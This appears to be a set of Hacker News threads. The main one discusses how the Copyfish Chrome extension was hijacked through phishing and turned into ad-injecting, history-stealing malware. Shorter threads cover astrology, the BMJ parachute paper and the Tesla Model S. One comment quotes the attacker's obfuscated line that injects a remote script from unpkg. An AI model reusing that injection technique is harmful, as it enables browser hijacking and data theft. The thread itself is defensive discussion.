<comment><USER2> I had the same concern when I found out. I narrowed it to see that it was probably only within the last ~5 months that it was updated to include the badware. I don't have the skills to decode it fully (since it was obfuscated quite heavily) but I know at the very least that it sends browsing history and injects ads.

I'm not sure if extensions also have the capability to capture the https body info, but I erred on the safe side and also changed passwords.

</comment></comment></comment><comment><USER4> Chrome's security policy is surprisingly poor and is the reason why I stay away from most extensions. "Read data from all websites" is like root on the phone. It should be allowed only via deliberate, explicit user action. While this will be an interesting UX challenge, defaulting to domain-specific permissions is the sane thing to do in this age.

Case in point, I don't care about a readability or bookmarking plugin reading a news link, but it shouldn't read my bank page.

<comment><USER5> I think more granular permissions, not domain-specific permissions, are the solution. Domain-specific permissions destroy the illusion that the extension is part of the browser, without restricting access as far as it should be.

For example, I made an extension that, upon a certain keyboard shortcut, saves the current page in a specific bookmarks folder. Currently Chrome's permissions model completely fails here, you need to request full access to all user data, everywhere, indefinitely.

Which would be better, (a) granting full indefinite access to the domain you're bookmarking most of the time you bookmark something, or (b) giving the extension permission only to see the current tab's URL and title, and to edit one specific bookmarks folder, and only during a keyboard shortcut's callback?

The granularity solution to your scenario would be to tie page-reading permissions to your triggering the extension, and have them removed with code execution end. So, now you don't need to worry about sensitive information that shows up on other domains, or your bank deciding to use a subdomain, or that one bank blog post that you actually do want it to see.

<comment><USER6> Isn't this what the "activeTab" permission is for (combined with a shortcut to trigger the extensions pageAction)?

</comment></comment></comment><comment><USER7> > "Click here to read more details" the email said. The click opened the > "Google" password dialog, and the unlucky team member entered the password > for our developer account. This looked all legit to the team member, so we > did not notice the pishing attack as such at this point. Pishing for Chrome > extensions was simply not on our radar screen.

First, it is excellent that you disclosed the issue.

Second, based upon the quoted text you really aren't accepting responsibility for having been phished. The team member wasn't "unlucky." Your "radar" shouldn't trick you into thinking you won't be attacked.

<comment><USER8> While I normally agree, I think it's important that they referred to the specific person without using blaming language. The team failed and screwed up because they had bad policies with their account. The individual team member who was holding the keys when the screw-up happened? Unlucky.

Fix the process, not the people.

It's good that they're not throwing the poor person under the bus.

<comment><USER9> I don't think more policies will make a better place. One of the team member screw up and stuff like this happen. I am questioning his security education to have been phished so easily.

<comment><USER10> It's counter intuitive. I bet you $5 that if I target you, and you're not expecting it, I can phish you. I've seen this happen in the field, and it doesn't have much to do with education. Relax for an instant and I have you.

The only real defense is to glance at the url bar every time you're about to enter your password. And even I find myself not doing that 100% of the time. It's a numbers game.

A policy of popping up a popup "glance at url bar" every time you copy your password from your password manager (which you're using, right?) would go a long way.

<comment><USER11> Lastpass will tell you whether it recognizes the site when you go to fill in the password (yes, I use it despite the scary stuff, I know I probably should switch to OnePassword).

Do other password managers not do that?

Just curious, not trying to engage the bigger question of whether getting phished is the user's fault.

<comment><USER12> One password has similar behaviour as well as verifying the integrity of the browser[1]. It's not perfect, I'm sure a malicious extension would be unimpeded, but these little features all added up and eventually made me switch.

[1] [https://support.1password.com/code- signature/](https://support.1password.com/code-signature/)

</comment></comment></comment></comment></comment></comment><comment><USER13> Looks like they are using unpkg.com and npm to distribute the badware:

[https://unpkg.com/copyfish- firstname.lastname@example.com/](https://unpkg.com/copyfish- firstname.lastname@example.com/)

[https://www.npmjs.com/package/copyfish- npm-2-8-5](https://www.npmjs.com/package/copyfish-npm-2-8-5)

I reached out to both services to have it shut down. Hopefully that will at least kill it temporarily.

<comment><USER14> Unpkg has a blacklist, so you can put up a PR if you know the package IDs.

[https://github.com/unpkg/unpkg.com/commit/ac09a03c75a51997b9...](https://github.com/unpkg/unpkg.com/commit/ac09a03c75a51997b909a63546f9773ca9aeb837)

A similar thing happened with another Chrome extension Social Fixer about a month ago.

EDIT: It's already been blocked, nice work @mjackson

[https://github.com/unpkg/unpkg- website/commit/7d4a4ba4958c16...](https://github.com/unpkg/unpkg- website/commit/7d4a4ba4958c16d1b8d57876bc8931b7b8364d5e)

</comment></comment><comment><USER14> A similar attack happened on another Chrome extension last month (Social Fixer) with over 190k installs.

In fact, judging by the exploit code, I would guess the same author, as the Social Fixer attack had a very similar hashed package on Unpkg as well.

In that scenario the author also didn't have 2FA enabled: [https://www.facebook.com/socialfixer/posts/10155117415829342](https://www.facebook.com/socialfixer/posts/10155117415829342)

I feel like Google should take the next step of requiring all extension developers to enable 2FA before being able to post an extension.

<comment><USER15> > Google should take the next step of requiring all extension developers to > enable 2FA before being able to post an extension.

Best comment here

<comment><USER16> Which would allow real world identity to be discovered, in the event of malware is there a possibility of prosecution eg for something related to recklessly causing damage (through inaction/action)?

</comment></comment></comment><comment><USER17> This is why it is important to cryptographically sign releases. Browsers are a huge problem with this.

All of the software I use is signed at some point in the chain (be it by the actual author or by the package manager, who'd better be verifying signatures if they're available, otherwise at least not blindly updating), _except for my browser extensions_. Most of it is also _reproducible_! I can get around this for some things---I use GNU Guix in addition to Debian, and they package some extensions. I need to start using them.

Of course, the signature should really come from the actual author, not the package maintainer for a particular distro; there's room for error. In the case of a project being hijacked (e.g. Copyfish), hopefully a maintainer would notice. Git commit and tag signing is an easy way to do this if you don't separately sign releases; package maintainers should be building from source.

In the case of Copyfish: if the browser validated signatures from the authors, then this would have been thwarted.

(Maybe there is some code signing protections in place? I'm not an extension developer for either Chromium or Firefox; please let me know if something does exist!)

<comment><USER18> My understanding is that Chrome extensions are indeed signed and you can't upload updates without signing the new package with the same key, so presumably the attacker had access to the private key after phishing the Google password.

Perhaps it was stored somewhere accessible by that account? Or accidentally packaged with the extension itself? If that were the case the spear phishing attack would make sense: someone scraping the Chrome store for extensions that contain a key file, then phishing their developer account credentials would be more efficient than phishing credentials without knowing beforehand whether you'd be able to get the private key and update the extension.

[https://developer.chrome.com/extensions/packaging](https://developer.chrome.com/extensions/packaging)

<comment><USER17> Thanks.

What's concerning to me is the section entitled "Uploading a previously packaged extension to the Chrome Web Store", which asks the user to place the private key into the package's root and include it in a zip. First: why? Why upload the private key? That leaks it to Google and on top of that stores it in multiple places; the user could forget to delete the zip (and do so securely), for example. And the private key in the root is probably a copy, so that has to be shreded too.

For updating the package, you select the project root as well. If you didn't remove your private key before doing so, I'm assuming you'd be releasing your key?

</comment></comment></comment><comment><USER19> This is the second extension that I use on chrome that has been hijacked.

The first was live http headers [0]

I have never had this experience on Firefox.

Is it simply a matter of Chrome being a bigger target?

[0] [https://www.webmasterworld.com/webmaster/4829365.htm](https://www.webmasterworld.com/webmaster/4829365.htm)

<comment><USER20> The Great Suspender Chrome extension was also phished

[https://github.com/deanoemcke/thegreatsuspender/issues/512](https://github.com/deanoemcke/thegreatsuspender/issues/512)

<comment><USER21> but apparently non-maliciously

<comment><USER20> What do you mean?

I thought the attacker stole the account maliciously, but hadn't quite gotten around to inserting the malware by the time it was taken back.

<comment><USER19> The live http headers hacking was quite embarrassing for myself personally.

I had strong suspicions that a certain webhost a new client of mine utilized was both prone to attack, and not very forthcoming when past attacks had occurred.

So when I loaded their own website one day and found it full of ads for russian pornography... I confirmed my own bias that the webhost had been hacked... deleted the account, and moved everything over to AWS.

Changed all the passwords, freaked out a bit, etc...

Then I realized that it was just the extension I was running that injected those ads... d'oh!

</comment></comment></comment></comment></comment><comment><USER22> The somewhat obfuscated JS downloaded from unpkg.com has what appears to be a Google Analytics ID in it: UA-103045553-1. I'm not sure if that can help trace the origin.

</comment><comment><USER23> It's a bad weekend for Chrome Extensions, it seems.

[https://media.defcon.org/DEF%20CON%2025/DEF%20CON%2025%20pre...](https://media.defcon.org/DEF%20CON%2025/DEF%20CON%2025%20presentations/DEFCON-25-Tomer- Cohen-Game-Of-Chromes-Owning-The-Web-With-Zombie-Chrome-Extensions-WP.pdf)

</comment><comment><USER24> Good reminder that you should never be in the mindset of "expecting" a phish from any source - trust is how they get you. Also, if a message was really urgent, you wouldn't have to click-through to see it.

<comment><USER10> I think I'm misreading your comment, but the best defense against phishing is to always be expecting a phishing attack from every source. Every time you're about to paste your password, glance at the url bar.

<comment><USER25> > Every time you're about to paste your password, glance at the url bar.

Actually - I disagree with this. You can no longer "glance" at the url bar to determine if you are on the right domain due to Unicode chars if you clicked a link.

The only safe way is to type the url yourself into the browser.

If it is a long link - then at least typing the base domain, and pasting the "rest" is _probably_ safe?

<comment><USER10> This actually isn't true. A website like [https://www.xn-- 80ak6aa92e.com/](https://www.xn--80ak6aa92e.com/) won't show up as apple.com. Browsers don't allow Unicode rendering in the URL bar.

Maybe IE is affected though. I haven't tested every browser. But it's a known security concern.

<comment><USER26> Sorry to tell you, _does_ show up as apple.com in my browser. Chrome 52.0.2743.82-1 on Arch x86_64.

<comment><USER27> The IDN vulnerability was fixed by Google in Chrome 58.

[https://arstechnica.co.uk/information- technology/2017/04/chr...](https://arstechnica.co.uk/information- technology/2017/04/chrome-firefox-and-opera-unicode-phishing/) [https://bugs.chromium.org/p/chromium/issues/detail?id=683314](https://bugs.chromium.org/p/chromium/issues/detail?id=683314)

Why have you got such an old version of Chrome?

<comment><USER26> Thank you. That gives me a strong reason to update.

To answer your question, (1) it's pretty arduous to install Chrome from the AUR, and (2) I am wary of Google removing useful functionality from Chrome.

</comment></comment></comment></comment></comment></comment></comment><comment><USER28> Spear phishing is remarkably effective, even against tech-savvy people. One of the most alarming aspects is that we've become trained to click links in emails as soon as we see some trustworthy indication, be it something we were expecting, a spoofed sender or copying Google's layout, further re-enforced by an accurate login page clone.

I think the best defence here is to condition ourselves out of this behaviour. If you receive a link in an email, don't click it - view the source or paste it into a text document and examine it. And if you aren't expecting an email, such as Google emailing out of the blue, go to the known-trusted site and see if there's any pending notifications.

Seems we need to stop trusting email.

</comment><comment><USER29> I've gotten this phishing e-mail 3 times over the past month or so. The first time I almost fell for it.

Looking at the attacker's code, they are currently trying to steal cloudflare api keys in addition to stealing cookies from all sites the extension users visit :(

</comment><comment><USER30> Of course it's a phishing attack. Why would Google send you a bit.ly link to your own Google account?

<comment><USER31> "Note that the bitly link was not directly visible in the phishing email, as it was an HTML-email. That is another lesson learned: Back to standard, text- based email as the default."

<comment><USER32> I always look at the mouse over url. And check the URL in the address bar. And rely on the password manager in the browser. And sometimes login in a new tab, then go back and reload the link.

<comment><USER33> A pity some browsers now hide the mouse over URL.

I use this in safari to bring it back: [https://visnup.github.io/Minimal- Status-Bar/](https://visnup.github.io/Minimal-Status-Bar/)

<comment><USER34> In Safari you can go to "View -> Show status bar" to bring it back natively without a third-party extension.

<comment><USER33> Amazing, thanks!

</comment></comment></comment></comment></comment></comment><comment><USER35> Something to be said about auto updating software...

</comment><comment><USER36> I'd have though that two-factor authentication could have prevented this type of attack?

<comment><USER37> Only with U2F, because the hardware dongle would refuse to provide the OTP to a different domain

<comment><USER38> Yeah, we really need to distinguish between a 2FA app and a dedicated hardware key. My phone is probably the least secure thing I've ever owned, both in terms of technical security, and physical security.

This whole 2FA thing has been really jarring for me, because I always treated my phone like a public space: no password, no private data (that I know of), ready for inspection by foreign authorities. Of all the things the world could ask me to trust, why the phone?

<comment><USER39> > _Of all the things the world could ask me to trust, why the phone?_

Because it's the only instance of a computer that you can expect majority of users to own and always have on them.

2FA as a thing would not get any reasonable adoption if you required people to buy hardware keys to use it. Not to mention, hardware keys do not work on every device one would like to log in from (AFAIK you can't plug in a Yubikey to an Android tablet, and it may not have NFC built in).

<comment><USER40> > AFAIK you can't plug in a Yubikey to an Android tablet, and it may not have > NFC built in

Using an USB OTG adapter, it should be possible. However, even the flagship tablets of Samsung don't carry NFC, only the phones do - and even there it's a hit and miss if you have NFC.

Apple, on the other hand, doesn't have developer-accessible NFC _anywhere_.

This is a real shame.

</comment></comment></comment></comment></comment><comment> shawn-butler >> We are trying to contact Google, but so far, have been unable to reach any human being that can help.

So typical, unfortunately.

</comment><comment><USER41> No 2FA? No additional password / 2FA challenge when a big, dangerous operation like moving an extension to another account is triggered?

</comment><comment><USER42> We should never have to read a title "disable immediately" by a developer. In a news article. That is not how this should be distributed, in case the original developer is the one distributing the news.

Instead, Google should generate an emergency disable code that a developer can put into a simple web form from anywhere in the world, even if the developer has been locked out of every one of their accounts, which immediately centrally disables that extension.

How it should work.

Parts.

1\. "revocation code generation" and explanation. Text like: "this is a secret revocation code. Anyone who learns it can immediately disable your extension. Keep it secure and separate from all of your production systems. You will be able to use it even if locked out of all other acccess."

2\. A web form people can submit revocation codes to, from anywhere with Internet access.

The code should be very high-entropy and generated by Google. However, it should not have ambiguous characters like 1 and capital I.

I personally would generate it using a dicewords-like wordlist. Also, I personally would ensure it had approximately 384 bits of total entropy of which one third is a recovery checksum. This enables the developer to write many words down wrong and still be able to disable their extension. In case the recovery record/checksum portion were used, I would offer the user the result "You appeared to have made a mistake which we could correct. Is this the correct disable key?" then show the corrected version.

However, this last idea seems to be beyond the state of cryptography worldwide (i.e. for some reason I have written something that exceeds best practices worldwide, like I'm from the future or something), so I understand if Google's cryptographers don't implement this part.

The above seems a bit grandiose of me so here is the comment where I first wrote about this:

[https://news.ycombinator.com/item?id=14571414](https://news.ycombinator.com/item?id=14571414)

<comment><USER43> _We should never have to read a title "disable immediately" by a developer. In a news article._

If you want to change that, start contacting reporters from mainstream media. If this hits the New York Times or the Wall Street Journal, or at least Techdirt, Google might notice.

<comment><USER42> Google is staffed by geniuses who also read HN and I feel it is sufficient that I suggested one possible correct solution here on HN. I am sure they'll introduce some solution to this problems. (I mean some way for them to disable compromised extensions centrally.)

I am not personally an extension developer and don't run many.

<comment><USER44> The people you need to convince is Google management, so that they prioritize this over everything else on the roadmap. One easy way to do that from outside is to make it actually a priority, by making it a PR issue. Otherwise it turns into one of those perennial 'things we want to do' that never beats out the critical items on the roadmap.

<comment><USER42> can you give a source for this insight? tell me more.

It does explain so much. for example all this work was put into a ridiculous, animated, moving, flashing new gmail sign-in page that was pre-announced for weeks (our sign-in page is changing!) and after all that work does not include even seven and a half minutes worth of improvement by a developer. For example, I had to laugh and laugh after I realized it wasn't accepting my password because my caps lock was on.

I would expect a popup warning if you have your caps lock turned on while typing. Because, you know, that is one of literally like 3 things you can do to improve a sign-in page that is that dynamic and moving and flashing. There's just not much to improve.

All that flash and it doesn't _do_ anything at all. Your comment gives a lot of insight as to why so I would like to understand this cultural shift.

how does management work at Google now?

</comment></comment></comment></comment></comment><comment><USER45> FYI, This "Better History" extension in Chrome has a history of selling browser history since it was sold by its developer: [https://chrome.google.com/webstore/detail/better- history/obc...](https://chrome.google.com/webstore/detail/better- history/obciceimmggglbmelaidpjlmodcebijb?hl=en)

They frequently remove it from the store when people notice and restore it a or so month later.

The comments over the past year or so detail the symptoms of spyware. The "Report Abuse" button in Chrome Store feels useless.

</comment><comment><USER46> You can use the Chrome Apps & Extensions Developer Tools[1] to monitor the activity of your apps and extensions.

[1]: [https://chrome.google.com/webstore/detail/chrome-apps- extens...](https://chrome.google.com/webstore/detail/chrome-apps-extensions- de/ohmmkhmmmpcnpikjeljgnaoabkaalbgc)

</comment><comment><USER47> Can someone explain to me why the attacker wrote the script source tag as

      "var config_fragment = '<sc' + 'ript sr' + 'c="ht'+ 'tps://un' + 'p' + 'kg.com/' + hash + '/' + hour + '.js"></sc ' + 'ript>';"

Instead of just:

      var config_fragment = '<script src="https://unpkg.com/' + hash + '/' + hour + '.js"></script>';

<comment><USER48> It's usually done to prevent the parser from interpreting the closing script tag early: [https://stackoverflow.com/questions/236073/why-split-the- scr...](https://stackoverflow.com/questions/236073/why-split-the-script-tag- when-writing-it-with-document-write)

<comment><USER49> If this is truly the reason the coder went overboard in parsing it up IMO.

</comment></comment></comment><comment><USER50> Please use Google's "Password Alert" Chrome extension to protect your Google account. It will notify you if you accidentally enter your Google password on another website.

</comment><comment><USER51> > Back to standard, text-based email as the default.

Yeah, but what will you do when your receive an HTML-only mail, or a mail with text/plain alternative saying "lol, get a better MUA", or a mail with text/plain alternative so mangled it can't be read without making your brain hurt?

All these are common occurrences in automatically sent e-mails these days.

<comment><USER52> View the HTML mail, but with fancy rendering, images, all remote content, etc. disabled.

Thunderbird does this by default.

<comment><USER51> > View the HTML mail

And that's exactly what phishers want you to do.

</comment></comment></comment><comment><USER53> Debian patched the Chromium browser to refuse to install or update add-ons from the Chrome store. At first I found this annoying, but I am coming around to their way of thinking--that ultimately I can only trust software in the Debian archive.

</comment><comment><USER54> While I understand how some people can take this as a cautionary tale in favor of 2FA, as someone who doesn't like it and won't use it, I guess my mindset is very simple. There's the old saw that over time, computing has evolved from smart people in front of dumb terminals into dumb people in front of "smart" terminals. This attack is proof of it; and while 2FA might have had an impact, the major issue here is that we had a dumb person - this "unlucky" team member - who either didn't have the training or the common sense to understand that if you have a public presence on the Internet, you are a target. If you have auto-updating software installed on more than 1 machine, you are going to be someone's target because they want access to that person's computer.

The lesson here is: never trust anyone or anything.

<comment><USER55> > The lesson here is: never trust anyone or anything.

Which is why you should use 2FA and why you shouldn't trust someone who says they don't use it.

<comment><USER54> I don't trust any of the 2FA providers. And I have neither the time nor the interest to try and learn to code it in binary.

<comment><USER56> TOTP is a specification and there are many free software implementations. U2F is also a specification (but generally they aren't free software implementations).

<comment><USER54> Again - I don't trust the people who created the specifications; and I don't trust either the free implementors or the non-free ones, though my inclination would be to go with non-free if I were forced. As it is, I simply don't use services that rely on them.

</comment></comment></comment></comment></comment><comment><USER57> tl;dr: A member of the development team thought it unexceptional and credible that Google should be using a clickable bit.ly url in an unsolicited email asking for login and update.

The world is an uphill kind of place.

</comment><comment><USER58> "This looked all legit to the team member" sure the team member checked the URL of the password screen? Yes, and Google using Freshdesk.

</comment><comment><USER59> (In the article "phishing" is consistently misspelled as "pishing".)

<comment><USER7> Perhaps the author of the page really isn't the author of Copyfish, and they phished us all with a page about getting phished.

</comment></comment><comment><USER60> TLDR: Use FIDO hardware 2FA. The tokens are $15. No excuses.

</comment><comment><USER61> Always do a 2fa</comment>


Using astrology and facebook to predict India's growth pattern  - <AUTHOR> http://vineetkumar.net/blog/?p=127

<comment><USER2> No real use of astrology here and no real prediction of anything. In short: Analysis of sample data taken from facebook indicates a higher birthrate in some months, ergo if you know anything about astrology, you should be able to predict something based on the fact that there are more folks of certain sun signs. So? Where's the predictions? That's the piece I was curious about.</comment>


Parachute use to prevent death and major trauma related to gravity challenge (2003) - <AUTHOR> https://www.ncbi.nlm.nih.gov/pmc/articles/PMC300808/ <comment><USER2> You might also enjoy a follow-up article of sorts, also published in the Christmas BMJ, reporting the results of an actual RCT on parachute use: [https://doi.org/10.1136/bmj.k5094](https://doi.org/10.1136/bmj.k5094)

</comment><comment><USER3> "We think that everyone might benefit if the most radical protagonists of evidence based medicine organised and participated in a double blind, randomised, placebo controlled, crossover trial of the parachute."

</comment><comment><USER4> [https://news.ycombinator.com/item?id=22778832](https://news.ycombinator.com/item?id=22778832) (I wonder why twice in two days?)

[https://news.ycombinator.com/item?id=18677508](https://news.ycombinator.com/item?id=18677508)

[https://news.ycombinator.com/item?id=4644463](https://news.ycombinator.com/item?id=4644463)

</comment><comment><USER5> My only question is why this wasn't published on an April 1st.

<comment><USER6> If memory serves me well, it kind of was: it was published on the BMJ Christmas special[1], which is more light-hearted than the "regular" issues.

[1] [https://www.bmj.com/about-bmj/resources-authors/article- type...](https://www.bmj.com/about-bmj/resources-authors/article- types/christmas-issue)

</comment></comment><comment><USER7> Parachutes solve a simple to model physics problem with few variables.

Vaccines or drugs are injected into an incredibly complicated biological system and interact with the immune system, cell signalling pathways, gene expression, thousands of different receptor bindings, and more.

For vaccines, the immune system itself is immeasurably complex. You can teach it the wrong things and be stuck with that lesson for life.

Interfering with signalling pathways can give you incurable cancer ten years down the line, or leave you with terrible disorders that ruin your quality of life.

How many times have drugs interfered with pregnancy and caused children to be born with birth defects and learning disorders? There's a reason we study these things.

This analogy is a very poor fit.

Edit: why is this being downvoted? Are people really eager to try the new prophylactics? While designing a fix for Coronavirus is incredibly important, we can't throw out all we know about safety. Why don't you offer a counter argument so we can discuss?

Intervention in cases where it is obvious the patient won't survive is worth considering, but we shouldn't proactively give healthy people something we aren't sure is safe.

<comment><USER8> Evidence based medicine isn't under fire because it objects the injection of random compounds as vaccines (pretty much everybody does), it's under fire because of its position on masks.

<comment><USER9> I'm not sure I follow. All of the true evidence I could find (i.e. the 2 randomized, controlled studies I could find for use of medical masks by the public) greatly supported their use for reduction of respiratory virus transmission. If anything, I found the general position of "masks shouldn't be warn by the public because they don't protect healthy people" to be completely unsupported by any randomized controlled studies. Don't know if that's what you were referring to.</comment></comment></comment>


Motor Trend Car of the Year: Tesla Model S - <AUTHOR> http://www.motortrend.com/oftheyear/car/1301_2013_motor_trend_car_of_the_year_tesla_model_s <comment><USER2> This had to be one of the easiest selections in Motor Trend history. Besides the obvious technology advancement, Tesla's Model S is probably also the most appealing American manufacturing story since its namesake Ford Model T. It's a hallmark shift in our (re)focus on technology driven advancement in manufacturing. And, unlike the other great company/story Apple, Teslas are built in the US (or at least assembled here).

It's just the right product at the right time, which pretty much is the definition of a winner.

<comment><USER3> So what if the Teslas are built in the US? How does that change anything? What if they were built in Canada, like a lot of GM cars are these days? Or Japan?

<comment><USER4> My son works at Tesla. He got the job as his first real job after doing a tour in Iraq with the U.S. military. Tesla taught him how to operate a laser cutter, and a bunch of other heavy machinery. He just left for work a few minutes ago, he's working night shift because they're cranking out cars all night long every night. Him, and some thousand+ other people got jobs there-- good, high quality, awesome jobs. Having good jobs for people here in America isn't important to a lot of people, but it's been a really good thing for him and for our family.

<comment><USER5> Economic advantages aside, gainful, satisfying employment is also great for morale of the nation.

Making things is generally fertile ground for job satisfaction.

<comment><USER6> There is something to be said for having demonstrable concrete evidence of where your time was spent. Most service jobs lack this.

</comment></comment></comment></comment></comment><comment><USER7> While I'm a massive fan of what Tesla is achieving with their cars, and I lust after the Model S, the giant touchscreen in the Model S gives me pause.

Is it really such a good idea to have a glowing screen dominating the interior at night? To say nothing of the opportunities for distracted drivers trying to navigate a button-free interface that can't be operated without taking your eyes off the road to look at the items you're pressing, or the opportunity for modal errors that abound in systems like this.

Echoes of the disastrous usability in the BMW i-Drive system are ringing in my ears. I hope Tesla has learned from the mistakes of others. I'd very much like to see an independent UX evaluation of the Tesla's driver controls.

<comment><USER8> Coming from reviews by recent owners (of which, I will be one in about a month and a half) and my own test ride, the distraction level is actually very low.

At night, the display switches to a white on black interface with a dimmed screen brightness. Unless you are seriously distracted by _any_ light in your car at night, this isn't going to get in your way. Really, the only way you can make it worse is by leaving a website up with animation on it or bright colors.

In addition, any important info (navigation, media playback, range indication) is available on the dash display. The default interface is relatively static, so it's not going to try and distract you from driving. The most motion is going to come from the dash, and that's right below your eye line, provided you're actually keeping your eyes on the road.

I saw this at the Beta event last year and even though I wasn't the driver, I ended up spending most of my time looking elsewhere besides the center display. The car and the driving experience is really front and center, not the touchscreen.

<comment><USER9> "Really, the only way you can make it worse is by leaving a website up with animation on it or bright colors." ... Does this mean I can surf the web on it? Does this feature get disabled automatically once past a certain speed?

<comment><USER8> Yes, there's a full WebKit-based browser. It does not get disabled so your passenger can interact with it while you're driving.

But these are general safety issues that Tesla has let the driver decide for themselves, rather than forcing a decision with an automatic disabling at certain speeds. You can also drive the car off a cliff, if you so choose. It's really up to you to have some common sense about things like this. But the default interface and night mode are designed to _not_ be a distraction, so only you and your passengers can create a distraction (which can happen in any car).

</comment></comment></comment></comment><comment><USER10> I got to see one of these in the wild yesterday - it's just beautiful. The door handles sit flush with the body... the charging port has an electromagnetic flip-open... the charger itself is beautiful... and it twirls lights around the charger handle until it's completely full, at which point it goes dark.

Beautiful, cool, wonderful 21st century engineering.

<comment><USER8> The best part for me is how you start the car. Just get in and put it in drive. You don't turn it on, it does that just be entering the car with the key fob in your pocket. When you're done, put it in park and walk away. It even locks it for you (a configurable option).

So much about this car is so...cool.

<comment><USER11> Interesting. It's pretty standard for all that to happen in semi-luxury cards today. But they do have a push-button to start the engine... I guess in an electric car, there's not really any need to "start the engine" since it can just be triggered by pressing the gas.

<comment><USER12> It makes sense to have a push button for a gas engine, but for some reason a hybrid camry I drove also had the same push button, and it was impossible to know what that button did. I put the car in reverse, and nothing would happen. Of course, I could put the car in park, and walk away and it would shut itself down. So the button is only needed when starting the car, and it must be pressed before shifting.

I think this is a smart move by Tesla, because I found push-to-start in a toyota hybrid confusing.

</comment></comment></comment></comment><comment><USER13> The Model S has also won Automobile car of the year ([http://www.automobilemag.com/features/awards/1301_2013_autom...](http://www.automobilemag.com/features/awards/1301_2013_automobile_of_the_year_tesla_model_s/viewall.html))

and the Yahoo car of the year ([http://autos.yahoo.com/blogs/motoramic/tesla- model-2013-yaho...](http://autos.yahoo.com/blogs/motoramic/tesla- model-2013-yahoo-autos-car-165907072.html))

<comment><USER14> But nobody cares about those. Motortrend and Car & Driver are the big ones.

</comment></comment><comment><USER15> Tesla is the most innovative brand in cars. We need EVs to get independent from oil.

We are now in a time of pioneers in a new world. There will be a lot of failures but also successes. I have a good feeling with Tesla's way.

Here is why:

        1. The design is exceptional
        2. Their power train is simple. They didn't make the decision to use an extender like Volt which requires three hydraulic clutches
        3. They extend the range through super chargers
        4. They are aiming at the right target group
        5. The time is right
        6. Mr. Musk is a visionary

<comment><USER16> > 2\. Their power train is simple. They didn't make the decision to use an > extender like Volt which requires three hydraulic clutches

A Volt-like extender requires ZERO clutches. It requires nothing more than a gas engine driving a generator which charges a battery which powers an electric motor.

The reason why the Volt has three clutches is straightforward: unlike Tesla, GM is trying to squeeze all the efficiency it can out of the car by taking advantage of the fact that the car actually has three motors in it. The Volt runs in four different modes:

0\. The battery-powered traction motor drives the car (the default).

1\. The gas engine drives a generator which, with battery support, powers the traction motor to drive the car.

2\. The generator disengages from the (turned off) gas engine and performs double-duty as a second battery-driven motor.

3\. The gas engine attaches directly to the drivetrain and helps the traction motor drive the car.

Each of these is maximally efficient in different situations. For example, if the battery is nearly depleted and the traction motor is spinning fast (over 70MPH), a gas engine directly assisting the wheels is more efficient than generating electricity for the traction motor.

Here's the dirty secret of the Model S which no one seems to have touched on: despite Tesla's aerodynamic puffery, it's a fairly inefficient electric vehicle. The EPA rates it at just 89MPGe with its lightest battery, compared to (for example) 98MPGe for the Volt, 99 for the Leaf, and 100 for the C-Max Energi. The Model S doesn't really need to maximize efficiency because its battery is big enough to handle range anxiety. But people who really cared about oil independence (as it sounded like you did) would pick the Volt over the Model S.

<comment><USER17> MPG by itself is not enough to define if a car is "efficient" or not. We'd need more data to determine that.

Isn't the leaf a much smaller car?

Not to mention the fact that _any_ electric car will be more energy efficient than one using an internal combustion engine.

<comment><USER16> Bah, MPGe, not MPG. And anyway, MPG has been the standard of efficiency measurement for a century now, so such an argument is a bit weaselly, don't you think?

My claim still stands. The Volt doesn't need three clutches, but it has three because GM is concerned about efficiency, and Tesla not as much.

> Not to mention the fact that _any_ electric car will be more energy > efficient than one using an internal combustion engine.

The Volt has an ICE.

<comment><USER14> MPG(e) measures one aspect of efficiency: how much stored energy it takes to move the vehicle a given distance. If you use MPG, then a bus loses big time since a bus gets way lower MPG than a car.

Another measure is per-passenger MPG(e) A bus now looks a whole lot better, and a full Model S with jump-seats is more efficient than a full leaf in terms of per-passenger MPGe.

Another measure of efficiency is how efficient it turns the energy stored (gas, electricity, etc.) into kinetic energy. In this measure the weight of vehicle is irrelevant. The bus probably does pretty well as large diesel engines are typically more efficient than small gas engines, but pretty much all electrics will beat out all ICEs since the best ICE vehicles are a shade under 50% efficient, which is trivially beatable in an electric.

<comment><USER16> > Another measure is per-passenger MPG(e) A bus now looks a whole lot better, > and a full Model S with jump-seats is more efficient than a full leaf in > terms of per-passenger MPGe.

All very true, but still very weaselly IMHO. Since the Leaf hauls five passengers, what you're really saying is that the Model S is acceptably efficient only if you're always carrying _six passengers._ I'm willing to bet that, assuming your Model S even _has_ the child jump-seats in the back, this is probably well less than 10% of the use cases for the kinds of people buying this car.

And of course it's true that an ICE is less efficient than an electric motor. That's not what was claimed. What was claimed was that " _any_ electric car will be more energy efficient than one using an internal combustion engine", that is, dismissing the Volt and C-Max.

I'm not saying that Tesla shouldn't have done what they did: they were very smart in developing a competitor to the BMW 7-series. The long range is smart, and the lack of an ICE backup is smart, and the high-end market is smart. It was the right decision to make. But it is nonetheless still fair to say that the Model S isn't a particularly efficient car in comparison to its electric and plug-in hybrid competition.

<comment><USER14> The main point was the Model S could easily be just as thermodynamically efficient as the Leaf.

On a side note, I can't fit my family of 5 in a Leaf since kids have to be in a car-seat until age 8, and fitting 3 car-seats in the backseat of a Leaf is a no-go.

</comment></comment></comment></comment></comment></comment></comment><comment><USER18> These are beautiful. I saw a Fisker Karma EVer in the wild today. These companies are doing such impressive design work on EVs. Why is there such a big gap between these works of art and the Volt? Surely there's a market for a 40-50k electric vehicle with good lines.

<comment><USER19> That's the Model X. <http://www.teslamotors.com/modelx>

<comment><USER20> Huh? Jalopnik says that the Model X will start at $60k: [http://jalopnik.com/5884111/tesla-model-x-price-tops-out- at-...](http://jalopnik.com/5884111/tesla-model-x-price-tops-out-at-100000)

<comment><USER21> Starts at $49,900 (after tax credit): <http://www.teslamotors.com/models/options>

<comment><USER22> We're talking about Model X, but that's the model S pricing you're linking to.

</comment></comment></comment></comment></comment><comment><USER23> I guess no one at BMW, Mercedes or Audi has read the Innovator's dilemma.

That said, the German government tried to create many incentives for creating "greener" cars. However, the manufacturers IMO seemed to pour money into lobbying against it, rather then putting their engineers to work.

Depending on how much Tesla eats into their market share, it could be a tough road ahead for the German car industry (and, to some extent, for the whole German economy). Especially considering how long it takes them to come up with an answer to the Prius...

<comment><USER24> Well, at least Mercedes holds a stake of about 5% of Tesla.

But I'm quite puzzled that even Porsche hasn't produced more than some shiny prototypes. An electric sports car, where range isn't that much of an issue, just seems like a no-brainer after the Tesla Roadster.

<comment><USER25> Well, Porsche recently developed the 918 Spyder[1], which is a plug-in hybrid. Pretty expensive, though.

[1] <http://en.wikipedia.org/wiki/Porsche_918#Spyder>

